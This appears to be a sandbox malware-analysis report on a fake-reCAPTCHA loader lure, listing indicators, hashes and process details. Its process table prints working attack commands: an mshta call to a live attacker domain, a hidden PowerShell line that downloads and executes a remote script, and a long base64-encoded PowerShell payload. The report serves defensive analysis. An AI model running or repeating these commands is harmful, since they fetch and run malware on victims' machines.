File name:

command.txt

Full analysis: https://app.any.run/tasks/40d2f4e7-5d75-4a10-9ae9-212f479fe4b5
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 16, 2025, 20:46:31
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
reflection
loader
Indicators:
MIME: text/plain
File info: Unicode text, UTF-8 text, with no line terminators
MD5:

DC1DECA98B2A00423E1BB3A5E17E6C2B

SHA1:

D09794C2BDA7CF8819852E814876F43FDB16B8D6

SHA256:

ED090E0FC361CFE38BE60C1BBFA56DAC5093CBC8AE64D3B0C382CB3E6CD22336

SSDEEP:

3:I5DBKWAI0IR0K0O78VW8P5ACt+RbqRF4I1yMQRWL7n:I/5iTKr8fCC0IMPy7n

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6076)
      • powershell.exe (PID: 1292)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1292)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1292)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 6076)

  • SUSPICIOUS

    • Detects reflection assembly loader (YARA)

      • powershell.exe (PID: 3288)

    • Base64-obfuscated command line is found

      • mshta.exe (PID: 1220)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 1220)
      • powershell.exe (PID: 6076)

    • BASE64 encoded PowerShell command has been detected

      • mshta.exe (PID: 1220)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 6076)

    • Probably download files using WebClient

      • powershell.exe (PID: 6076)

    • The process bypasses the loading of PowerShell profile settings

      • powershell.exe (PID: 6076)

    • Possibly malicious use of IEX has been detected

      • powershell.exe (PID: 6076)

    • Executes script without checking the security policy

      • powershell.exe (PID: 1292)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1292)

  • INFO

    • Process checks computer location settings

      • SearchApp.exe (PID: 5064)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 6824)

    • Reads the machine GUID from the registry

      • SearchApp.exe (PID: 5064)

    • Checks supported languages

      • SearchApp.exe (PID: 5064)

    • Manual execution by a user

      • powershell.exe (PID: 3288)
      • mshta.exe (PID: 2076)
      • mshta.exe (PID: 1220)

    • The process uses the downloaded file

      • powershell.exe (PID: 3288)
      • mshta.exe (PID: 1220)
      • powershell.exe (PID: 6076)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 3288)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 3288)

    • Reads the software policy settings

      • SearchApp.exe (PID: 5064)

    • Checks proxy server information

      • mshta.exe (PID: 1220)
      • powershell.exe (PID: 1292)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 1220)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 1292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
121
Monitored processes
10
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start notepad.exe no specs powershell.exe no specs conhost.exe no specs mshta.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs searchapp.exe

Process information

PID
CMD
Path
Indicators
Parent process
436\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1220"C:\windows\system32\mshta.exe" https://dokedok.shop/ru1-2.mp3 # ✅ ''I am not a robot - reCAPTCHA Verification ID: 2165C:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
1292"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://hhhh.klipcewucyu.shop/Handler.db'))" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2076"C:\WINDOWS\system32\mshta.exe" C:\Windows\System32\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
2976\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3288"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5064"C:\WINDOWS\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mcaC:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Search application
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5308\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6076"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc JABDAEMAdwBmAHIAZwBNAEoANQA3ADgAQgB2AG4AaQBiADEARABNADYAQwBoADkAcQBuAFMAaQBFAHkAdwA4AHUAWQBJADAAaABoAHIARgBwAG8ATwBPAFkAMABKAHIAQQB3ADYAQwB6AFcAVQB5AHMATAB0AE4AaABVAE8AUQBHAHYASABMAGEAagBDAEgAYQBFAHkAZABpAHQAYgBaAEEANwAwAEQAegBjAFMANgBhADYAYgBqAHkANQBwAE8ATQBtAGUAMwBYADgARgBOAEEAWABlAEIAcABwAEUARAA0AHYAMQByAGsAcwBOAHYAcwBDAEEAVwBiAEwANgBPAEEAbgBLAG4AWgBjAEIAUQBaAFEAbQBSAHQATABnAEcAUgBtADUARABuAEcANwBRADMAVQAzAHYAZQA0AFEAUQBKAFYAWABVAEoAWgBPAEMAaQBHAE4AVABIAFcAQgBwAHoAcQBKAFEANwBCAGUATABRAEcAdgBDADEANwBvAHoAOQAyAEoASQBQAEgASABuAHIASgBsAEIAZgBwAEEAWABFAGgASQB0AEgATwBRAFkAaQBCAHEAOQBQAFQAMABZAFgAbABEADAAWQBpAEkASABkAGMARwBLADQANQAzAHYAWgBMAHQAaABDAFcAcQBqAEgATQA5AGoAZgA5AHMAMwA2AEoAWQA5AHYARABpADAAaQBXAEMAdQA1AHkAMQBQADQARQB3AHUAQgBIAEcAQwBKAFcAQQBKAHkAagA4AHoAbgAyAEUARAAxAHkAMwB0AEsAYwByAHkASwBjAGEAdgB1AEUATwBaAFAAaABQAFQATwAwAFQAVABJAHgAMABXAFIASgBHAGgAWgBuAFgAaABDAE8ATABUAGMAVQBXADAARABQAEUAZgAwAEcANwAyAGUAbgBvAGoAVwBDAEoAdgBIADQAeAB3ADYARABUAEsAMgBDAEMAaABUAFgAQwBUAHgANQB4AGkAVwB1AEcAMQBSAHYAYwBQAGQAVwBpAHQASgBzAFQASgB6AGsAeQBtAGsASQBEAEYANgBYAEsAMABTAFQAWgB4AEEAOQA4ADEASwBzADYASQB0AEkAYwBrAGcAWgBuAEwASABhAGMANwBEAFUAbQBNAGoAWQBIADMAdAA1AHYAUgBzAEQANABhADMAZQBQAGcANwBKAFgATwBIAE4ATAAxAHkANABlAG8AdAB5AHAAaQBoAEsAbQBnAGwAUwBrAGEAcwBiAHoAagBUAGoANABmADMAbgA3AHMAWAB5ADAAVABWAGsAMgBhAEQAbAAyADUAbQAxAFMASgAwAGUAcABqAEoAUwA2AHUANQBtAFcAdgAxAEIAaABWAEgAaQAzAHoAWAA3ADQAZwBzADcAegA2ADcASQA3AHoAawByAG0AUgBXAEwAcABKADMASwByAHcAOABJAFAAMAA1AGkAMAA5AHkAVABqAHAAbwBoAGIATwBGAGcAagBrADAANwA3AEoASgBBAGgAaAA4AGMAVQBUAEEAdAAyAFQARQBDAFYARgB6AE8ATQBaAE8ATQA0AFkAVwBxADEAZgBBAGgAZQBhAGUAVwBKAHUAagBSAFMANQBsAEgASwBhADgAMwBCAGgAQgBBAFgAZgBnADMAZwBIAGYATAAzAFYAdABiAEwARwBCAFAANgBrAGwAMwBDAHAANABZAFMASABDAHEAUgByAHkAbwBzAHoANAAzAFMAaQBSADYAcwBRAGEATAA3AGYAdgBPAHQAVABWAEwAUQA1ACAAPQAgACQAZgBBAEwAcwBFAA0ACgAkAEIAZgBqADUAVgBZAHUAVgA5AFQAMgBVAEMAcgBPAEoAWQBxAHUAZwBiAG8ATwBNAHIAcwBiAGoAUAA4AE4AMwBJAG4AMQB2ADEAaQBJADIAZQBWADAARABDAG8AOABBADcAZQBqAGIARwAyAGMAZABFAHkAUwBvADgASQAyADYAeQBnADAAeAAxADIASwB0AFEAbAByAEEAaQBpAHUATABhAGkANgBDAEwAUwBPAFAAbgBRAGMAZwBrAHUAZgBTAG8ATABjADYAUABQAFkAdABkAEQAMgBEAGEAYgA4AGkARABzAHEAbABRAEQAVgBpAFoAVgBZAG8AYwBTAEwAQwA3AFEATgBsADgAVQBJAGkAbAAyAGsATQBXAHkAawBGADgAcABFADgAUABGAFEAbwB6AFoAWABFAEgAOQBZAE0ATABQAFQAQgBBAGcANAA1AEIAdQA3AGcAbABrAGwAQgBHAFoAMABwAEcAcABsAFgAbwAzAFMAZgB5AGYAeQBYAE0ATQBXAGQAaQBxAEQAZQA2AFoAMABlAG4AcgBTAGQAZgBJAE0AcwBGAFoARwBvAEkAVQBHAHIAQwBCADAAZABMAG0AOQBHAHgAQgBDAFYAdwBoAG4ATwBkAHkAQwA2ADIAVgBIAFMASgBuAE8AMQBnADEAOABsAHMAdQBwAGIAbwBLAFAAVgAwAEEAeABWAFIANgA4AFgARwB5AFgAQQBtAGgAWABDAFoAaABVAGcAbgA1AHoAVQBSAHAAOQBxAGkAZwBJAGoASAB0ADIAcgBsAEMAQgBoAEoARwBXAG4ARgA5AE8AMgBQAHEAeAA4AGoAVABvAEMAdgBKAGoATQBjAFkAcgA5AEsAZwA3AFcAdwAxAFYAdgBwAHcAcgB4AEoAeABoAFYARgBsAGsAZQBtAG8AMgBGAGkAZgB3AHkATwBqADAAWAA1ADEAbwBSAGYATQBZAFAAWAA1AEgAZABpAEYAMwBYAHYAdQBEAGcAWQBsAEsAZwBGAFoAWQBoAFYANQBuADIAZABiAEwAZQB3AEUARgBrAE0AeAA0AFYAaABxAFoAbQBmAEIAcABMAFkARABOADcAZABKAEEAQgBpAGYAdwBPAGwARwBEAGcAawBSAEsAWQBLADMAcABHAE4ATgBkADgAagA3AEUAVQA4AG8ARQA5AGYAUgBUAEMASAA5AFoAOQBiAFoAUABFADkAYgBTAE4ANwBDAEEATwBKAG8AegByAGQAQwBrAEsAegBoAHkAVABmAE0AbQBvADQARABSAEoAUQBSAHYAUQBDAGsAZwBQAGkANABLAFQARABmAE4AMwAxAGwAQwBSAEEAZwBJAE4ANgA5AEkARgBtADkAVwBHAEgAeQBLAGoAbwByAHQAMwB0AGgAdwBaAHAAMgBIAEkAaQBMAGoAZQB4AGoAZgB3AGQAWAAzAEIAUgBuAE0AWQA3AEsASQBmACAAPQAgACQAVAByAHUARQANAAoAJABvAG4ARgBrAHoANABKAFkANABGAHcAQgBYADYAdQBkAEkAeABNADcAcABMAHMAYgAxAFMATgBaAGIAcwB2AGsAaABOAFoASwB6AE8AQgB2AGkAVQB2AEQATwBIAGIASABPAE8AbwBFAG4AVAA1AHoAVgBTAEgAWABoADQAbwBCAEIAbwBuAHYAMwA5AGwAZgBuAGwAVgBHAEwAMABZADcAWQByAEEAdQByADcANwBIAHcATgBwAGkATgAyAFYAZQBNAG4AbgBYADYAdwBRADgAWABZADkAMABrADAAUQBYAGkAdABMAFEAUwBXAFMAcQB1AHQAYQB1ADYAeQBwAFQATgAzAHkAeAA1AFYAUAAgAD0AIAAkAE4AdQBsAGwADQAKACQASQBMAHMAeABxAHQAOQBwAEgANQBjAG0AWQB6ADkATwBlADEAQQBQAG0ANQBXAGUAdwBvAFgAYwBlAGcAMQBrAGwAVQBwAGkAMQBPAGkASABQAFEAZABOAEYAQwBaAEsASABVAHMAcgBJAFIATgBYAEcAVABhAGUAZABpAFAAagBWAGsAeABxAHkAMwBsAEwAcwBkADYAZQBzAEIAawBVAFUARABUAGkASgBPAGEAMgBzAFoASgBrAGEAbAAxAFcAUwBoAG0ASABXAGYAUQBoADcAWgB1AFAAZAByAFAANABNAEgAaAB2AFEAaABhADkAeQBWADYAWgBUAHkAUwAzADMAVQBBAE4ANABJADEAMQBPADQAZgBOAEMAaQBNAGMAcgA2AE4ANQB0AFEAcgAzAFIAdQAzAFEATQBHAG4AMwBlAFYAUAB0AEkAWgA0AEsAMgAyAGMAVwBiADkATQBMAGYARQBPAHIAcwBVAEcASQBnAHYARwBOADEATQBPAEMAMABsAFEAMwBmADkAbwBiAE8AYgBSAEUAcAA5AFAAWgBJADQAaQBzAEYASQBJAGcAYwB2AEUAWAA4ADcAMABBAHYAUABzADYATABMAGkATwB5AFIAdQBNAGwATQBRAEMAMQBuAEwANQBXAEoAWQBDAEkAWQBRAE4AcwBaADkANABYAEkAeABLADYANwBLAGYAZwBxAEwASQA3ADIAegBYAHkANQA3AHYAMwBkAGQARgBnAEYAbwBnAG8AYwBUAFEAVwBCAEsAaQBiAGMAVABMAHkATQBLAEsAYgAwAFAAawB4AHEANwBuAEgAbABrAEkARQBoAGcAZQBOADEAeQBmAHgAcgAzAHQATgBaAFgARgA0AHAAcwBkADYATgBYAHYAbQByADIAUQAyAHMAdgBOAGkAYwA2AEYAdAAwAE8AdABwAE0AdwB3AFYAdgB6AGsAZgB1AFgATwA0AFAAMQBPAHYAagBWAEoAMABKAE0AaQB2AGgARwBKAEkAMwBqAFYAWABGAGIAVgA0AGwAeABPAGsAbwBOAGsAVQA5AE8ANwBpAFUAeQBoADMAaQByAEEAcwBzAEcASQBsAG8AbgA0AGkAZwBkAGIAVwByAHMAOQBEAEMAQgBSADcAegBNAEQAcAB2AHQAYwAxADYAdgA0AHcANAAxAGkARABTAEMAMgBrAFEAWQA3AFMAUwBjADQAWQBPAGUAeQBQAHcAUgBFAE4AaABvAFoAOAAxAGMATwBPAEwAdAA1ADYARQBBAEUAYwA5AEsAMgBJAGcAYQBIAHkAMwBpAEsARABXAHIAQQBpAHYAOQBzAGkAcABlAGwAMABiADUAbgBuAGQAUgBnAEQAVgA2AEkASABDADcAcwB0AHIAWABNAEIAaQBkAG8AaAB6AGsAeQBqAEUASgBzAEoAVwBwAHIAOABxAHQAQQBjAGUATAA2AEMATABuAHUAdABTACAAPQAiAEQAZQBmAGwAYQAiACAAKwAgACIAdABlAFMAdAByAGUAYQBtACIAOwAkAGoAZwBUAHcAUgAyAG4AeABDADcAWQBWADcATQB1AGYANABmAGcATgBBAHUAdQBEAHoAMQBIADIAdwB6AG4AaQBxAEQAcABtAFIAbwBHADQAWAB5AGQAYgBwAEEAVQBKAEMARAB5AHEAQgByAHgAYwA2AHUAdgBhAG0ANgBJAE0AUQBiAFEAQgBhAFoAegBnAFcAYgBxAGUAUgBGAEsASABJAHkAMwBuAFgATwBYAGwAZwAxAGUAdgBTAFgAVABOAFAAUAA3AFkAUwBlAEwATQBZADAAZgA3AGIAbgA2AGYAZgB3AEkAVQBlADEARgB2AEQAbwBaAEsATwBSAGoAUQBWAEgAVwA1AGwAdQBWAE0ASABhAFYAMABsAFAAeAA0AEUATwBiADcAeAA0AEUASwBaAGsAeQBUAFAAeQBXAEYAVgBpAFgATQBGAGQARQBCAG4AQwBHADUAcQBBAGIAbgBsAFUAQwBZADgAMQBrAG8AdwBIAFUAawBCADEAZwB6AGIAMABGAG0AMwA2AE4AWABjADcAVwBpAFIAUQBJAGIARwA4AGYAVwB5ADQANgBzAFkAdQBPAEYAQQBkAEUAZQBjAEsAYgBrAFQAYgBzAEYAWAB2AFMAUAB6AFgAbQAwAFIAbABtADkAUwBxADAAcwBnADQARABwAE8ARAB6AEkAbAA1AHYAdwAxAHIAVgB1AFkAUwAzAGQAMABZAGIAaABDAEIAcwBmAFcATgBKAFQAbwB1AEIAaQBSAEcAagBSAGMAOABSAHkAdQAyAFgAbABmAG8ARABmADAASwBvAFUAVgBSAE8AeAB4AEQAdgBLADQASAA3ADMARQBQAHQANABsAHMAMABVAFQAbQByAEYANwBiAHgAMQBwAHEAagBYAFIAQwBsAGUATwBhAFYAbwBIAE4AYwA4AEwAdQBYAFkAegBEADYANwBrADkAWQA3AFoAWgByADkATQBNADAAdQBzADQAUAAzAHAAVAAzAHkAWABhADAAUgBmADkATQA2AGUAagByAG8AZQAzAEsAOQAxAEEAdgByAGwATgB4AHMAaABuAEoAQQBOAFgASgBKAHAASgBmADIAIAA9ACAAIgBDAG8AbQBwAHIAZQAiACAAKwAgACIAcwBzAGkAbwBuACIAOwAgACQAMwBHAG0AWABxAGQAaABjAHIAdQBJAFQAUAAwADkAMQBkAFoAQgB5AFcANgA4ADYATAB2AEQAdQBYADEAawBOADMAbQBJAHQAUgBpADAAOABOAEgAbgBWADUAUQBUADEAdABoAFQAUABGAGwAegB2AFkATQBQAFoAVgBTAHkASQBOAEIAYQBQAHYAYQBLAHIAZwBBAGYANQBMAFkATwAxAFkAcQBCAHUAYwBtAHAARwB5ADAAbQBrAGMAZgBMAE4AdgBLAGIAdABkAHcAMgBlAE0ARgB5ADYASwBhAEcANQBoAHEAegBWAFkAUwBuAHQATgBOAGgAYwB4AG8ANAAwAEoATQA0AGUARQB4AEwAUABmAE8ARwBZAEMAQgBrADkATwBUAG0ANwB1AEwAZABkAEkAcgBVAEkANwA3AEoAcgBCAEIANQBkAHkAQwBnADcAUABVAFcANQBUAFkAVgBrAEoAbQBFADUAdgBrAFcAMQAxAEUAcwByAEkAcgBhAFUASQA2AFkAUQBNAEsARQA2AE8ATQBPAGMAeQBYAFIAdgBVAEoANQBpAGoAQgBvAFgAZQBwAEcAdABmADYARABYAEQATABaAEUAbgBjAEkASwBnAGMAWABsAHUATQBuAGUATwBGAEMAcgBDAEwAWQBOAE4AUABSAEcAcwB3AEMAdABaAEwAQQBwAGUAdgBJAEYANABpAFcAUABZAFkAWQBDAGwAMABEAHcAWQBPADQAZgBJAGIAVQA1AEQAUwBMAHYANAAyAFoAZgBuAHUAaQBOADEAVwBOAGYAZgBhADcAdwB2AEsAMABJADMAegBDAEQAUQB6AGsATQB5ADYARgBlAEYANQA3ADcARgAwAEUAbwAxAEYAMABXAFEAMgB2AEoASQBNAGsAcQBzAHUAOABXAGIAMwBYAFEAcgBvAHkATQBDAGwAUQA1AHAAdQByAE4AVgAxADgARwBRAHgASAA3AHUAbgBEAG4AeABVAHoAdAByADgARgBjAGYAbgBjAEIAcgBXADMAaQBiAGwARwBpAFMATQBVAEEAUwB2AFQAMgBUAEMAaAAxAEEAbAAxAE0AUgA5ADYAbABDADAASwBMAHgAMABLAFkAVQBqADgAVABsAEkARABMAFAASgBjAEoAWgBqAFkARgBkAHQAdgBHAEgANwBXAEcAdwBSAEoAWQBKADYAUQB4ADgATgBBAFQANABqAHUAcABhAHUASQBRADkASgBZAG4ANQBoAHMAWQB5AHUAWQBVADYAZQBrAFgASwBEADkAUgBqAGcAbwBKAFAAeQBSAHQAOABYADkAMAB2AFUARABMAGwAMgB2AGoAbgBNAGcATABoADgAaABEAGYATABkAEQAWgBtAHgAWgBqAEQAWgB3AGEATAB3AEoAdgBMAEsAawBQAE0AcQB0ADIAIAA9ACIAUwB0AHIAZQBhACIAIAArACAAIgBtAFIAZQBhAGQAZQByACIAOwAgAC4AKAAiAGkAIgArACIAZQB4ACIAKQAgACQAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AJAAzAEcAbQBYAHEAZABoAGMAcgBVAGkAVABwADAAOQAxAEQAWgBCAFkAdwA2ADgANgBsAHYARABVAFgAMQBrAE4AMwBNAEkAdAByAEkAMAA4AG4AaABuAHYANQBxAFQAMQBUAGgAdABQAGYATABaAFYAeQBNAFAAWgB2AFMAeQBpAE4AQgBBAFAAdgBBAEsAcgBHAGEAZgA1AGwAeQBPADEAWQBxAEIAVQBDAE0AUABHAFkAMABNAGsAQwBGAEwAbgBWAGsAYgBUAGQAVwAyAGUATQBmAFkANgBrAGEAZwA1AEgAcQB6AFYAWQBTAG4AVABuAG4AaABDAHgAbwA0ADAAagBNADQARQBFAFgAbABQAGYATwBHAFkAYwBCAGsAOQBPAHQATQA3AHUAbABkAEQAaQBSAFUASQA3ADcAagByAGIAYgA1AEQAWQBjAEcANwBwAHUAdwA1AFQAeQB2AEsAagBtAEUANQB2AEsAdwAxADEARQBTAHIASQBSAGEAVQBpADYAWQBRAG0AawBFADYATwBtAG8AYwBZAFgAcgB2AHUASgA1AGkAagBiAG8AeABFAHAARwB0AEYANgBEAFgAZABsAHoAZQBuAEMASQBrAGcAQwB4AEwAdQBNAG4AZQBvAEYAYwBSAEMATABZAE4AbgBwAHIARwBTAFcAYwBUAFoAbABBAHAARQBWAGkAZgA0AGkAdwBQAHkAeQB5AEMATAAwAEQAdwB5AE8ANABGAEkAYgBVADUARABTAGwAVgA0ADIAWgBGAG4AVQBpAE4AMQBXAG4AZgBmAGEANwB3AFYASwAwAEkAMwBaAGMARABxAFoAawBtAFkANgBGAEUAZgA1ADcANwBmADAAZQBPADEAZgAwAHcAcQAyAHYAagBJAE0ASwBRAFMAdQA4AHcAYgAzAHgAcQBSAG8AWQBNAGMAbABxADUAUAB1AFIAbgB2ADEAOABHAHEAeABIADcAdQBOAEQATgB4AHUAWgBUAFIAOABmAEMAZgBuAEMAQgByAFcAMwBJAEIATABHAEkAUwBtAHUAQQBTAHYAVAAyAFQAYwBIADEAYQBsADEATQBSADkANgBMAGMAMABLAGwAWAAwAEsAWQBVAGoAOABUAEwAaQBEAEwAcABKAGMASgB6AGoAeQBmAEQAVABWAEcAaAA3AFcARwBXAHIASgB5AGoANgBRAHgAOABuAGEAVAA0AEoAdQBQAEEAVQBJAHEAOQBqAFkAbgA1AEgAcwBZAHkAdQBZAFUANgBlAEsAeABLAGQAOQBSAEoAZwBvAEoAUAB5AFIAdAA4AHgAOQAwAFYAVQBEAEwATAAyAHYASgBOAE0AZwBsAEgAOABIAGQARgBsAEQARABaAG0AeABaAGoAZAB6AHcAQQBMAFcASgB2AGwAawBLAFAAbQBRAFQAMgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABpAG8ALgAkAGoARwBUAHcAcgAyAG4AeABDADcAWQBWADcAbQB1AGYANABGAGcATgBhAFUAVQBkAHoAMQBIADIAVwBaAG4AaQBxAEQAcABtAHIATwBHADQAeABZAEQAQgBQAEEAVQBqAGMARABZAFEAQgByAHgAQwA2AHUAVgBhAG0ANgBJAG0AcQBCAHEAQgBhAHoAWgBHAFcAYgBxAGUAUgBGAGsASABpAHkAMwBuAFgAbwB4AEwARwAxAEUAdgBTAFgAdABuAHAAUAA3AHkAcwBFAEwATQBZADAARgA3AEIATgA2AGYAZgBXAGkAVQBlADEARgBWAGQATwB6AEsAbwBSAGoAcQB2AGgAdwA1AGwAVQB2AG0ASABBAFYAMABMAHAAeAA0AEUAbwBiADcAeAA0AEUASwBaAEsAeQB0AFAAWQB3AEYAVgBpAHgATQBGAEQARQBiAE4AQwBnADUAUQBBAGIATgBsAFUAYwB5ADgAMQBrAG8AdwBIAFUASwBiADEAZwB6AGIAMABmAG0AMwA2AE4AWABDADcAdwBJAHIAcQBpAEIARwA4AGYAVwBZADQANgBzAFkAVQBvAEYAQQBkAEUARQBDAGsAQgBLAFQAQgBTAGYAWABWAFMAcAB6AFgAbQAwAHIATABNADkAUwBRADAAUwBHADQARABQAE8ARABaAGkATAA1AHYAdwAxAFIAdgBVAFkAcwAzAEQAMABZAGIAaABjAEIAUwBGAFcAbgBKAFQATwBVAGIASQByAGcAagByAEMAOAByAHkAdQAyAFgAbABmAE8ARABGADAAawBPAFUAdgByAE8AeABYAGQAdgBLADQAaAA3ADMARQBwAHQANABMAHMAMAB1AFQATQBSAEYANwBCAHgAMQBQAHEASgB4AFIAQwBsAEUAbwBBAFYAbwBIAE4AYwA4AGwAVQB4AHkAWgBEADYANwBrADkAeQA3AHoAegByADkATQBNADAAdQBTADQAcAAzAHAAdAAzAFkAeABBADAAcgBGADkATQA2AGUASgBSAG8ARQAzAGsAOQAxAGEAdgByAEwAbgBYAFMASABuAEoAYQBuAHgAagBKAHAASgBGADIALgAkAGkATABTAHgAUQBUADkAUABoADUAYwBNAFkAegA5AE8ARQAxAEEAcABtADUAdwBFAFcATwBYAEMAZQBnADEASwBsAFUAUABJADEATwBpAEgAUABxAEQAbgBGAGMAWgBrAGgAdQBzAHIAaQByAE4AeABnAHQAYQBFAGQASQBwAGoAdgBrAFgAUQB5ADMAbABsAFMAZAA2AGUAUwBiAEsAVQB1AEQAdABJAEoATwBBADIAUwBaAGoASwBhAGwAMQB3AHMASABNAGgAdwBmAHEASAA3AFoAdQBwAGQAcgBQADQATQBoAEgAdgBRAEgAQQA5AHkAdgA2AFoAdAB5AHMAMwAzAHUAQQBuADQASQAxADEATwA0AEYATgBjAEkAbQBDAHIANgBuADUAdABxAFIAMwBSAF